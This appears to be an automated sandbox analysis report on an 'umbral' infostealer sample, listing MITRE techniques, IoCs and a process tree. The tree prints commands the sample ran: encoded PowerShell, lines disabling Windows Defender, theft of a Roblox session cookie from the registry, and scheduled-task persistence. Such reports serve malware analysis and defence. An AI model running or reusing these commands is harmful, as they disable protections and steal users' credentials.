umbral | hxxps://gofile[.]io/d/87SlPj

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000\Control Panel\International\Geo\Nation	COM Surrogate.exe
Key value queried	\REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000\Control Panel\International\Geo\Nation	BootstrapperNew.exe
Key value queried	\REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000\Control Panel\International\Geo\Nation	BootstrapperNew.exe

Executes dropped EXE 8 IoCs

pid	Process
4548	BootstrapperNew.exe
4576	BootstrapperNew.exe
5992	COM Surrogate.exe
1936	sihost.exe
3032	BootstrapperNew.exe
6132	COM Surrogate.exe
5764	sihost.exe
220	BootstrapperNew.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\COM Surrogate = "C:\\Users\\Admin\\AppData\\Roaming\\COM Surrogate.exe"	COM Surrogate.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 7 IoCs

Web Service

T1102

flow	ioc
85	raw.githubusercontent.com
86	raw.githubusercontent.com
101	discord.com
102	discord.com
28	api.gofile.io
29	api.gofile.io
32	api.gofile.io

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
98	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\COM Surrogate.exe	BootstrapperNew.exe
File created	C:\Windows\sihost.exe	BootstrapperNew.exe
File created	C:\Windows\COM Surrogate.exe	BootstrapperNew.exe
File created	C:\Windows\sihost.exe	BootstrapperNew.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BootstrapperNew.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BootstrapperNew.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

pid	Process
3176	wmic.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133871217768760133"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-780313508-644878201-565826771-1000\{FEFFA877-C654-4DA9-B063-95821FCBD7C6}	msedge.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4464	schtasks.exe

Suspicious behavior: EnumeratesProcesses 43 IoCs

pid	Process
2240	powershell.exe
2240	powershell.exe
5272	powershell.exe
5272	powershell.exe
2240	powershell.exe
5272	powershell.exe
5736	powershell.exe
5736	powershell.exe
4992	powershell.exe
4992	powershell.exe
5736	powershell.exe
4992	powershell.exe
3952	powershell.exe
3952	powershell.exe
3952	powershell.exe
5368	powershell.exe
5368	powershell.exe
5368	powershell.exe
5644	powershell.exe
5644	powershell.exe
5644	powershell.exe
2952	powershell.exe
2952	powershell.exe
2952	powershell.exe
1636	wmic.exe
1636	wmic.exe
1636	wmic.exe
1636	wmic.exe
4780	wmic.exe
4780	wmic.exe
4780	wmic.exe
4780	wmic.exe
4156	wmic.exe
4156	wmic.exe
4156	wmic.exe
4156	wmic.exe
4212	powershell.exe
4212	powershell.exe
4212	powershell.exe
3176	wmic.exe
3176	wmic.exe
3176	wmic.exe
3176	wmic.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2240	powershell.exe
Token: SeDebugPrivilege	5272	powershell.exe
Token: SeDebugPrivilege	5992	COM Surrogate.exe
Token: SeDebugPrivilege	1936	sihost.exe
Token: SeDebugPrivilege	6132	COM Surrogate.exe
Token: SeDebugPrivilege	5736	powershell.exe
Token: SeDebugPrivilege	4992	powershell.exe
Token: SeDebugPrivilege	3952	powershell.exe
Token: SeIncreaseQuotaPrivilege	3952	powershell.exe
Token: SeSecurityPrivilege	3952	powershell.exe
Token: SeTakeOwnershipPrivilege	3952	powershell.exe
Token: SeLoadDriverPrivilege	3952	powershell.exe
Token: SeSystemProfilePrivilege	3952	powershell.exe
Token: SeSystemtimePrivilege	3952	powershell.exe
Token: SeProfSingleProcessPrivilege	3952	powershell.exe
Token: SeIncBasePriorityPrivilege	3952	powershell.exe
Token: SeCreatePagefilePrivilege	3952	powershell.exe
Token: SeBackupPrivilege	3952	powershell.exe
Token: SeRestorePrivilege	3952	powershell.exe
Token: SeShutdownPrivilege	3952	powershell.exe
Token: SeDebugPrivilege	3952	powershell.exe
Token: SeSystemEnvironmentPrivilege	3952	powershell.exe
Token: SeRemoteShutdownPrivilege	3952	powershell.exe
Token: SeUndockPrivilege	3952	powershell.exe
Token: SeManageVolumePrivilege	3952	powershell.exe
Token: 33	3952	powershell.exe
Token: 34	3952	powershell.exe
Token: 35	3952	powershell.exe
Token: 36	3952	powershell.exe
Token: SeIncreaseQuotaPrivilege	5736	powershell.exe
Token: SeSecurityPrivilege	5736	powershell.exe
Token: SeTakeOwnershipPrivilege	5736	powershell.exe
Token: SeLoadDriverPrivilege	5736	powershell.exe
Token: SeSystemProfilePrivilege	5736	powershell.exe
Token: SeSystemtimePrivilege	5736	powershell.exe
Token: SeProfSingleProcessPrivilege	5736	powershell.exe
Token: SeIncBasePriorityPrivilege	5736	powershell.exe
Token: SeCreatePagefilePrivilege	5736	powershell.exe
Token: SeBackupPrivilege	5736	powershell.exe
Token: SeRestorePrivilege	5736	powershell.exe
Token: SeShutdownPrivilege	5736	powershell.exe
Token: SeDebugPrivilege	5736	powershell.exe
Token: SeSystemEnvironmentPrivilege	5736	powershell.exe
Token: SeRemoteShutdownPrivilege	5736	powershell.exe
Token: SeUndockPrivilege	5736	powershell.exe
Token: SeManageVolumePrivilege	5736	powershell.exe
Token: 33	5736	powershell.exe
Token: 34	5736	powershell.exe
Token: 35	5736	powershell.exe
Token: 36	5736	powershell.exe
Token: SeIncreaseQuotaPrivilege	4992	powershell.exe
Token: SeSecurityPrivilege	4992	powershell.exe
Token: SeTakeOwnershipPrivilege	4992	powershell.exe
Token: SeLoadDriverPrivilege	4992	powershell.exe
Token: SeSystemProfilePrivilege	4992	powershell.exe
Token: SeSystemtimePrivilege	4992	powershell.exe
Token: SeProfSingleProcessPrivilege	4992	powershell.exe
Token: SeIncBasePriorityPrivilege	4992	powershell.exe
Token: SeCreatePagefilePrivilege	4992	powershell.exe
Token: SeBackupPrivilege	4992	powershell.exe
Token: SeRestorePrivilege	4992	powershell.exe
Token: SeShutdownPrivilege	4992	powershell.exe
Token: SeDebugPrivilege	4992	powershell.exe
Token: SeSystemEnvironmentPrivilege	4992	powershell.exe

Suspicious use of FindShellTrayWindow 36 IoCs

pid	Process
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
3032	BootstrapperNew.exe
5272	powershell.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe
4008	msedge.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4576	BootstrapperNew.exe
4548	BootstrapperNew.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4008 wrote to memory of 1304	4008	msedge.exe	82
PID 4008 wrote to memory of 1304	4008	msedge.exe	82
PID 4008 wrote to memory of 2288	4008	msedge.exe	83
PID 4008 wrote to memory of 2288	4008	msedge.exe	83
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 3684	4008	msedge.exe	84
PID 4008 wrote to memory of 5772	4008	msedge.exe	85
PID 4008 wrote to memory of 5772	4008	msedge.exe	85
PID 4008 wrote to memory of 5772	4008	msedge.exe	85
PID 4008 wrote to memory of 5772	4008	msedge.exe	85
PID 4008 wrote to memory of 5772	4008	msedge.exe	85
PID 4008 wrote to memory of 5772	4008	msedge.exe	85
PID 4008 wrote to memory of 5772	4008	msedge.exe	85
PID 4008 wrote to memory of 5772	4008	msedge.exe	85
PID 4008 wrote to memory of 5772	4008	msedge.exe	85

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://gofile.io/d/87SlPj
1⤵
- Drops file in Windows directory
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4008
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x264,0x268,0x26c,0x260,0x28c,0x7fff43acf208,0x7fff43acf214,0x7fff43acf220
  2⤵
  PID:1304
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1440,i,4236032169411564928,2541502540576662155,262144 --variations-seed-version --mojo-platform-channel-handle=2316 /prefetch:3
  2⤵
  - Downloads MZ/PE file
  PID:2288
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2280,i,4236032169411564928,2541502540576662155,262144 --variations-seed-version --mojo-platform-channel-handle=2276 /prefetch:2
  2⤵
  PID:3684
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=1844,i,4236032169411564928,2541502540576662155,262144 --variations-seed-version --mojo-platform-channel-handle=2656 /prefetch:8
  2⤵
  PID:5772
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3464,i,4236032169411564928,2541502540576662155,262144 --variations-seed-version --mojo-platform-channel-handle=3516 /prefetch:1
  2⤵
  PID:4756
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3472,i,4236032169411564928,2541502540576662155,262144 --variations-seed-version --mojo-platform-channel-handle=3524 /prefetch:1
  2⤵
  PID:4740
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=5060,i,4236032169411564928,2541502540576662155,262144 --variations-seed-version --mojo-platform-channel-handle=5068 /prefetch:1
  2⤵
  PID:2124
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=3548,i,4236032169411564928,2541502540576662155,262144 --variations-seed-version --mojo-platform-channel-handle=4848 /prefetch:8
  2⤵
  PID:5572
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4956,i,4236032169411564928,2541502540576662155,262144 --variations-seed-version --mojo-platform-channel-handle=3680 /prefetch:8
  2⤵
  PID:3588
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5544,i,4236032169411564928,2541502540576662155,262144 --variations-seed-version --mojo-platform-channel-handle=5456 /prefetch:8
  2⤵
  PID:5556
- C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5792,i,4236032169411564928,2541502540576662155,262144 --variations-seed-version --mojo-platform-channel-handle=5848 /prefetch:8
  2⤵
  PID:816
- C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5792,i,4236032169411564928,2541502540576662155,262144 --variations-seed-version --mojo-platform-channel-handle=5848 /prefetch:8
  2⤵
  PID:4544
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --field-trial-handle=6136,i,4236032169411564928,2541502540576662155,262144 --variations-seed-version --mojo-platform-channel-handle=6108 /prefetch:1
  2⤵
  PID:4440
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6248,i,4236032169411564928,2541502540576662155,262144 --variations-seed-version --mojo-platform-channel-handle=5124 /prefetch:8
  2⤵
  PID:5372
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --field-trial-handle=5188,i,4236032169411564928,2541502540576662155,262144 --variations-seed-version --mojo-platform-channel-handle=6272 /prefetch:1
  2⤵
  PID:5580
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5144,i,4236032169411564928,2541502540576662155,262144 --variations-seed-version --mojo-platform-channel-handle=6592 /prefetch:8
  2⤵
  PID:4232
- C:\Users\Admin\Downloads\BootstrapperNew.exe
  "C:\Users\Admin\Downloads\BootstrapperNew.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:4548
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGMAZABmACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHgAbQBxACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAZwBnAC8ARgBRADkAWABHAGMAbQBhAHgAawAnACwAJwAnACwAJwBPAEsAJwAsACcASQBuAGYAbwByAG0AYQB0AGkAbwBuACcAKQA8ACMAaQBrAGgAIwA+AA=="
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2240
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAYgBlACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbgB4ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG4AdQBtACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHQAYwB1ACMAPgA="
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5736
- - C:\Windows\COM Surrogate.exe
    "C:\Windows\COM Surrogate.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of AdjustPrivilegeToken
    PID:5992
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "COM Surrogate" /tr "C:\Users\Admin\AppData\Roaming\COM Surrogate.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4464
  - - C:\Windows\SYSTEM32\shutdown.exe
      shutdown.exe /f /s /t 0
      4⤵
      PID:1784
- - C:\Windows\sihost.exe
    "C:\Windows\sihost.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1936
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Windows\sihost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3952
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5368
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5644
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2952
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1636
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4780
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4156
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4212
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:3176
- - C:\Users\Admin\BootstrapperNew.exe
    "C:\Users\Admin\BootstrapperNew.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    PID:3032
- C:\Users\Admin\Downloads\BootstrapperNew.exe
  "C:\Users\Admin\Downloads\BootstrapperNew.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:4576
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
